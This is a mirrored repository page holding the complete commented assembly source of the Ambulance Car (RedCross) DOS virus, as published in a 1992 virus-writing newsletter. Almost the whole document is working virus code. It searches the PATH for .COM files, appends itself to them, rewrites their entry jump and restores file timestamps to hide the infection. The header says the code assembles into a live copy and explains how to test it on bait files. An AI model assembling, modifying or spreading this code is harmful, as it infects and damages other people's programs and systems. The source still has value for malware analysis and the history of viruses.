mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
524 lines
22 KiB
NASM
524 lines
22 KiB
NASM
;REDCROSS/AMBULANCE CAR VIRUS for Crypt Newsletter #10, edited by Urnst Kouch
|
|
;December 1992
|
|
;Originally supplied as a Sourcer disassembly in a Scandinavian virus mag
|
|
;published by "Youth Against McAfee (YAM)", this AMBULANCE specimen was
|
|
;generated in its raw form by "Natas Kaupas." Hold that up to your mirror
|
|
;and it spells Satan. Whatever, "Natas/Satan" has also supplied us with the
|
|
;MINDLESS/FamR series of viruses for you trivia buffs. The Crypt Newsletter
|
|
;is obliged to him, wherever he is, for these interesting programs.
|
|
;
|
|
;In any case, while helpful, the original disassembly had diminished
|
|
;value, being completely uncommented. It did, however, assemble
|
|
;under TASM into an actual working copy of the virus, which
|
|
;appears to be the AMBULANCE CAR B strain.
|
|
;
|
|
;
|
|
;Ambulance Car remains an interesting virus, packed with enough features
|
|
;so that it can still find its target files, .COM executables, wherever
|
|
;they might be lurking on a system.
|
|
;
|
|
;Principally, this revolves around the virus searching the path string set
|
|
;in the environment. If no path exists, the virus defaults to the
|
|
;current directory. In both cases, the virus may infect up to two files
|
|
;anywhere on the path per pass. Most times it will infect only one.
|
|
;Sometimes it will not budge at all.
|
|
;
|
|
;Once it's found a file, Ambulance checks it for the 0E9h byte at
|
|
;the beginning. If it doesn't find it, the virus assumes the file is
|
|
;uninfected and immediately tries to complete the infection. If
|
|
;it does find the byte, it continues reading from there to confirm
|
|
;the viral sequence. If this is a coincidence and the complete sequence
|
|
;is not there, the virus will infect the file anyway.
|
|
;
|
|
;Randomly, the virus will activate and run the Ambulance across the bottom
|
|
;of your screen after a round of infection. Because of the path search
|
|
;Ambulance can easily find .COM executables on a sizeable disk at a time
|
|
;when there are less and less of these to be seen. Unfortunately, for a
|
|
;direct-action virus, the disk activity is noticeable with the caveats:
|
|
;on a fast machine, perhaps not; or in front of an average user, perhaps not.
|
|
;You never know how a user will react when dealing with viruses.
|
|
;
|
|
;You can easily experiment with this version on your machine by commenting
|
|
;out the path statement in your AUTOEXEC.BAT. This will restrict the
|
|
;virus to a test directory where it can be used to infect bait files
|
|
;until the Ambulance effect is seen.
|
|
;
|
|
;Ambulance Car is detected by "rules-based" anti-virus sentries like
|
|
;PCRx (reviewed in this issue), but keep in mind this type of
|
|
;protection is not flawless. Accidents can happen. Most current scanners
|
|
;easily detect this variant of Ambulance, although
|
|
;some cannot disinfect files once they are parasitized.
|
|
|
|
data_1e equ 0Ch
|
|
data_2e equ 49h
|
|
data_3e equ 6Ch
|
|
psp_envirn_seg equ 2Ch
|
|
data_21e equ 0C80h
|
|
|
|
virus segment byte public
|
|
assume cs:virus, ds:virus
|
|
|
|
|
|
org 100h
|
|
|
|
redcross proc far ;main flow control procedure for Ambulance
|
|
;Car virus
|
|
start:
|
|
jmp short virstart
|
|
data_5 dw 4890h ; Data table
|
|
data_7 dw 6C65h ; Data table
|
|
db 6Ch, 6Fh, 20h, 2Dh, 20h
|
|
|
|
copyright db 'Copyright S & S Enterprises, 198';whoah, how'd Solomon's
|
|
db '8' ;stamp get in here? ;-]
|
|
db 0Ah, 0Dh, 24h, 1Ah,0B4h, 09h
|
|
db 0BAh, 03h, 01h,0CDh, 21h,0CDh
|
|
db 20h
|
|
virstart:
|
|
db 0E8h, 01h, 00h
|
|
add [bp-7Fh],bx
|
|
out dx,al ; port 0, channel 0
|
|
add ax,[bx+di]
|
|
call check_infect ; do path search, infect file
|
|
call check_infect ; ditto, sometimes, sometimes not
|
|
call sound_fury ; do we do AMBULANCE effect? Check!
|
|
lea bx,[si+419h]
|
|
mov di,100h
|
|
mov al,[bx]
|
|
mov [di],al
|
|
mov ax,[bx+1]
|
|
mov [di+1],ax
|
|
jmp di ; Register jump
|
|
|
|
exit:
|
|
retn ; handoff to host
|
|
|
|
redcross endp
|
|
|
|
;*****************************************************************************
|
|
; SUBROUTINE
|
|
;*****************************************************************************
|
|
|
|
check_infect proc near ; path search for Ambulance
|
|
call loadpath ; Car
|
|
mov al,byte ptr data_19[si]
|
|
or al,al
|
|
jz exit ; No path/no files? Git!
|
|
lea bx,[si+40Fh]
|
|
inc word ptr [bx]
|
|
lea dx,[si+428h] ; load effective address
|
|
mov ax,3D02h
|
|
int 21h ; open found file by loadpath read/write
|
|
; with handle
|
|
mov word ptr ds:[417h][si],ax ;ax contains handle
|
|
mov bx,word ptr ds:[417h][si]
|
|
mov cx,3
|
|
lea dx,[si+414h] ; load address of buffer
|
|
mov ah,3Fh ; to read first three bytes into.
|
|
int 21h ; Read the bytes . . .
|
|
; bx points to file handle.
|
|
;
|
|
mov al,byte ptr ds:[414h][si]
|
|
cmp al,0E9h ; compare with 0E9h
|
|
jne infect ; if not equal, assume virus not here - infect
|
|
mov dx,word ptr ds:[415h][si]
|
|
mov bx,word ptr ds:[417h][si]
|
|
add dx,3
|
|
xor cx,cx ; zero register
|
|
mov ax,4200h
|
|
int 21h ; point to beginning of file, again
|
|
; bx contains the handle
|
|
|
|
mov bx,word ptr ds:[417h][si]
|
|
mov cx,6
|
|
lea dx,[si+41Ch] ; load effective address
|
|
mov ah,3Fh ; and read the first 6 bytes
|
|
int 21h ; this time
|
|
|
|
; ds:dx points to buffer
|
|
mov ax,data_13[si]
|
|
mov bx,data_14[si]
|
|
mov cx,data_15[si]
|
|
cmp ax,word ptr ds:[100h][si] ; compare with data copied above
|
|
jne infect ; jump if not equal to infect
|
|
cmp bx,data_5[si]
|
|
jne infect ; jump if not equal
|
|
cmp cx,data_7[si]
|
|
je close ; finally, if we get a match we know
|
|
infect: ; we're here, so go to close up
|
|
mov bx,word ptr ds:[417h][si]
|
|
xor cx,cx ; zero register
|
|
xor dx,dx ; zero register
|
|
mov ax,4202h
|
|
int 21h ; reset pointer to end of file
|
|
; bx contains file handle
|
|
|
|
sub ax,3
|
|
mov word ptr ds:[412h][si],ax
|
|
mov bx,word ptr ds:[417h][si]
|
|
mov ax,5700h ; bx points to name of file
|
|
int 21h ; get file date and time
|
|
; time returns in cx, date in dx
|
|
|
|
push cx ; push these onto the stack
|
|
push dx ; we'll need 'em later
|
|
mov bx,word ptr ds:[417h][si]
|
|
mov cx,319h
|
|
lea dx,[si+100h]
|
|
mov ah,40h ; write the virus to the end of
|
|
int 21h ; the file, identified in bx
|
|
; cx contains virus length for write
|
|
; so do it, yes, append virus
|
|
mov bx,word ptr ds:[417h][si]
|
|
mov cx,3
|
|
lea dx,[si+414h] ; load effective address
|
|
mov ah,40h ;
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
mov bx,word ptr ds:[417h][si]
|
|
xor cx,cx ; zero register
|
|
xor dx,dx ; zero register
|
|
mov ax,4200h
|
|
int 21h ; reset the pointer to start of file
|
|
; identified in bx
|
|
; cx,dx=offset
|
|
mov bx,word ptr ds:[417h][si]
|
|
mov cx,3
|
|
lea dx,[si+411h] ; load effective address
|
|
mov ah,40h ; and write the first three virus id
|
|
int 21h ; and jump bytes to the file
|
|
; now, just about finished
|
|
|
|
pop dx ; retrieve date
|
|
pop cx ; and time from stack
|
|
mov bx,word ptr ds:[417h][si]
|
|
mov ax,5701h ; restore file's date/time
|
|
int 21h
|
|
|
|
close:
|
|
mov bx,word ptr ds:[417h][si]
|
|
mov ah,3Eh
|
|
int 21h ; close file
|
|
|
|
retn ; return to caller, maybe we'll
|
|
check_infect endp ; infect again, maybe not
|
|
|
|
|
|
;*****************************************************************************
|
|
; SUBROUTINE
|
|
;*****************************************************************************
|
|
|
|
loadpath proc near ; this procedure checks for the
|
|
mov ax,ds:psp_envirn_seg ; existence of the ASCII path string in the
|
|
mov es,ax ; environment block of the program
|
|
push ds ; segment prefix (in this case psp_envirn_seg)
|
|
mov ax,40h ; if it exists, Ambulance Car copies
|
|
mov ds,ax ; the entire string into a buffer by using
|
|
mov bp,ds:data_3e ; '/' and ';' as cues. The virus then
|
|
pop ds ; sets the DTA to a directory
|
|
test bp,3 ; found in the path and executes a simple
|
|
jz loc_8 ; file search. If unproductive, it
|
|
xor bx,bx ; recursively searches the path
|
|
loc_6: ; before defaulting to the current
|
|
mov ax,es:[bx] ; directory
|
|
cmp ax,4150h
|
|
jne loc_7
|
|
cmp word ptr es:[bx+2],4854h
|
|
je loc_9
|
|
loc_7:
|
|
inc bx
|
|
or ax,ax
|
|
jnz loc_6 ; jump if not zero
|
|
loc_8:
|
|
lea di,[si+428h]
|
|
jmp short loc_14
|
|
loc_9:
|
|
add bx,5
|
|
loc_10:
|
|
lea di,[si+428h] ; load effective address of buffer
|
|
loc_11:
|
|
mov al,es:[bx]
|
|
inc bx ; copy a byte from the path
|
|
or al,al
|
|
jz loc_13 ; jump if zero
|
|
cmp al,3Bh ; found a divider? ';'
|
|
je loc_12 ; jump if equal, continue copying path
|
|
mov [di],al
|
|
inc di
|
|
jmp short loc_11 ; loop around, continue copying
|
|
loc_12:
|
|
cmp byte ptr es:[bx],0
|
|
je loc_13
|
|
shr bp,1 ; Shift w/zeros fill
|
|
shr bp,1 ; Shift w/zeros fill
|
|
test bp,3
|
|
jnz loc_10 ; Jump if not zero
|
|
loc_13:
|
|
cmp byte ptr [di-1],5Ch ; compare with '\'
|
|
je loc_14 ; jump if equal
|
|
mov byte ptr [di],5Ch ; compare with '\'
|
|
inc di
|
|
loc_14:
|
|
push ds
|
|
pop es
|
|
mov data_16[si],di
|
|
mov ax,2E2Ah
|
|
stosw ; copy portion of path, store ax to es:[di]
|
|
mov ax,4F43h
|
|
stosw ; Store ax to es:[di]
|
|
mov ax,4Dh
|
|
stosw ; Store ax to es:[di]
|
|
push es
|
|
mov ah,2Fh
|
|
int 21h ; get current DTA
|
|
; move it into es:bx
|
|
mov ax,es
|
|
mov data_17[si],ax
|
|
mov data_18[si],bx
|
|
pop es
|
|
lea dx,[si+478h] ; address of filemask
|
|
mov ah,1Ah
|
|
int 21h ; set the DTA to first dir in path
|
|
; disk xfer area, ds:dx
|
|
lea dx,[si+428h] ; load effective address
|
|
xor cx,cx ; zero register
|
|
mov ah,4Eh ; find first file
|
|
int 21h
|
|
|
|
jnc loc_15 ; jump if carry = 0
|
|
xor ax,ax
|
|
mov data_19[si],ax
|
|
jmp short loc_18
|
|
loc_15:
|
|
push ds
|
|
mov ax,40h
|
|
mov ds,ax
|
|
ror bp,1
|
|
xor bp,ds:data_3e
|
|
pop ds
|
|
test bp,7
|
|
jz loc_16 ; Jump if zero
|
|
mov ah,4Fh
|
|
int 21h
|
|
; find next file
|
|
jnc loc_15 ; jump if carry = 0
|
|
loc_16:
|
|
mov di,data_16[si]
|
|
lea bx,[si+496h]
|
|
loc_17:
|
|
mov al,[bx]
|
|
inc bx
|
|
stosb ; Store al to es:[di]
|
|
or al,al
|
|
jnz loc_17 ; Jump if not zero
|
|
loc_18:
|
|
mov bx,data_18[si]
|
|
mov ax,data_17[si]
|
|
push ds
|
|
mov ds,ax
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA(disk xfer area), ds:dx
|
|
pop ds
|
|
retn ; return to check_infect
|
|
loadpath endp
|
|
|
|
|
|
;*****************************************************************************
|
|
; SUBROUTINE
|
|
;*****************************************************************************
|
|
|
|
sound_fury proc near ;sets up Ambulance Car effect, but
|
|
push es ; other than that, I have no idea
|
|
mov ax,word ptr ds:[40Fh][si] ; subroutines and procs from
|
|
and ax,7 ; here on down manage the
|
|
cmp ax,6 ; Ambulance Car graphic and
|
|
jne loc_19 ; siren effect
|
|
mov ax,40h
|
|
mov es,ax
|
|
mov ax,es:data_1e
|
|
or ax,ax
|
|
jnz loc_19 ; <= comment this out and you'll
|
|
inc word ptr es:data_1e ; get a corrupted version of the
|
|
call sub_5 ; Car effect everytime the virus
|
|
loc_19: ; executes. If you fiddle around
|
|
pop es ; with it enough you'll eventually
|
|
retn ; get the strain known as RedX-Any,
|
|
sound_fury endp ; for RedCross anytime.
|
|
|
|
|
|
;*****************************************************************************
|
|
; SUBROUTINE
|
|
;*****************************************************************************
|
|
|
|
sub_5 proc near
|
|
push ds
|
|
mov di,0B800h
|
|
mov ax,40h
|
|
mov ds,ax
|
|
mov al,ds:data_2e
|
|
cmp al,7
|
|
jne loc_20
|
|
mov di,0B000h
|
|
loc_20:
|
|
mov es,di
|
|
pop ds
|
|
mov bp,0FFF0h
|
|
loc_21:
|
|
mov dx,0
|
|
mov cx,10h
|
|
|
|
locloop_22:
|
|
call sub_8
|
|
inc dx
|
|
loop locloop_22 ; Loop if cx > 0
|
|
|
|
call sub_7
|
|
call sub_9
|
|
inc bp
|
|
cmp bp,50h
|
|
jne loc_21 ; Jump if not equal
|
|
call sub_6
|
|
push ds
|
|
pop es
|
|
retn
|
|
sub_5 endp
|
|
|
|
|
|
;*****************************************************************************
|
|
; SUBROUTINE
|
|
;*****************************************************************************
|
|
|
|
sub_6 proc near ; cycles speaker on for siren
|
|
in al,61h ; port 61h, 8255 port B, read
|
|
and al,0FCh
|
|
out 61h,al ; port 61h, 8255 B - spkr, etc
|
|
; al = 0, disable parity
|
|
retn
|
|
sub_6 endp
|
|
|
|
|
|
;*****************************************************************************
|
|
; SUBROUTINE
|
|
;*****************************************************************************
|
|
|
|
sub_7 proc near ; more speaker stuff
|
|
mov dx,7D0h
|
|
test bp,4
|
|
jz loc_23
|
|
mov dx,0BB8h
|
|
loc_23:
|
|
in al,61h ; port 61h, 8255 port B, read
|
|
test al,3
|
|
jnz loc_24
|
|
or al,3
|
|
out 61h,al ; port 61h, 8255 B - spkr, etc
|
|
mov al,0B6h
|
|
out 43h,al ; port 43h, 8253 wrt timr mode
|
|
loc_24:
|
|
mov ax,dx
|
|
out 42h,al ; port 42h, 8253 timer 2 spkr
|
|
mov al,ah
|
|
out 42h,al ; port 42h, 8253 timer 2 spkr
|
|
retn
|
|
sub_7 endp
|
|
|
|
|
|
;*****************************************************************************
|
|
; SUBROUTINE
|
|
;*****************************************************************************
|
|
|
|
sub_8 proc near
|
|
push cx
|
|
push dx
|
|
lea bx,[si+3BFh] ; Load effective addr
|
|
add bx,dx
|
|
add dx,bp
|
|
or dx,dx ; Zero ?
|
|
js loc_27 ; Jump if sign=1
|
|
cmp dx,50h
|
|
jae loc_27 ; Jump if above or =
|
|
mov di,data_21e
|
|
add di,dx
|
|
add di,dx
|
|
sub dx,bp
|
|
mov cx,5
|
|
|
|
locloop_25:
|
|
mov ah,7
|
|
mov al,[bx]
|
|
sub al,7
|
|
add al,cl
|
|
sub al,dl
|
|
cmp cx,5
|
|
jne loc_26 ; Jump if not equal
|
|
mov ah,0Fh
|
|
test bp,3
|
|
jz loc_26 ; Jump if zero
|
|
mov al,20h ; ' '
|
|
loc_26:
|
|
stosw ; Store ax to es:[di]
|
|
add bx,10h
|
|
add di,9Eh
|
|
loop locloop_25 ; Loop if cx > 0
|
|
|
|
loc_27:
|
|
pop dx
|
|
pop cx
|
|
retn
|
|
sub_8 endp
|
|
|
|
|
|
;*****************************************************************************
|
|
; SUBROUTINE
|
|
;*****************************************************************************
|
|
|
|
sub_9 proc near
|
|
push ds
|
|
mov ax,40h
|
|
mov ds,ax
|
|
mov ax,ds:data_3e
|
|
loc_29:
|
|
cmp ax,ds:data_3e
|
|
je loc_29 ; Jump if equal
|
|
pop ds
|
|
retn
|
|
sub_9 endp
|
|
|
|
db 22h, 23h, 24h, 25h
|
|
db 26h, 27h, 28h, 29h, 66h, 87h
|
|
db 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
|
|
db 23h,0E0h,0E1h,0E2h,0E3h,0E4h
|
|
db 0E5h
|
|
data_8 dw 0E7E6h ; Data table (indexed access)
|
|
db 0E7h
|
|
data_9 dw 0EAE9h ; Data table (indexed access)
|
|
data_10 db 0EBh ; Data table (indexed access)
|
|
data_11 dw 3130h ; Data table (indexed access)
|
|
data_12 dw 2432h ; Data table (indexed access)
|
|
db 0E0h,0E1h,0E2h
|
|
data_13 dw 0E8E3h ; Data table (indexed access)
|
|
data_14 dw 0EA2Ah ; Data table (indexed access)
|
|
data_15 dw 0E8E7h ; Data table (indexed access)
|
|
data_16 dw 2FE9h ; Data table (indexed access)
|
|
data_17 dw 6D30h ; Data table (indexed access)
|
|
data_18 dw 3332h ; Data table (indexed access)
|
|
data_19 dw 0E125h ; Data table (indexed access)
|
|
db 0E2h,0E3h,0E4h,0E5h,0E7h,0E7h
|
|
db 0E8h,0E9h,0EAh,0EBh,0ECh,0EDh
|
|
db 0EEh,0EFh, 26h,0E6h,0E7h, 29h
|
|
db 59h, 5Ah, 2Ch,0ECh,0EDh,0EEh
|
|
db 0EFh,0F0h, 32h, 62h, 34h,0F4h
|
|
db 09h, 00h,0E9h, 36h, 00h,0EBh
|
|
db 2Eh, 90h, 05h, 00h,0EBh, 2Eh
|
|
db 90h
|
|
|
|
virus ends
|
|
|
|
|
|
|
|
end start
|
|
|
|
|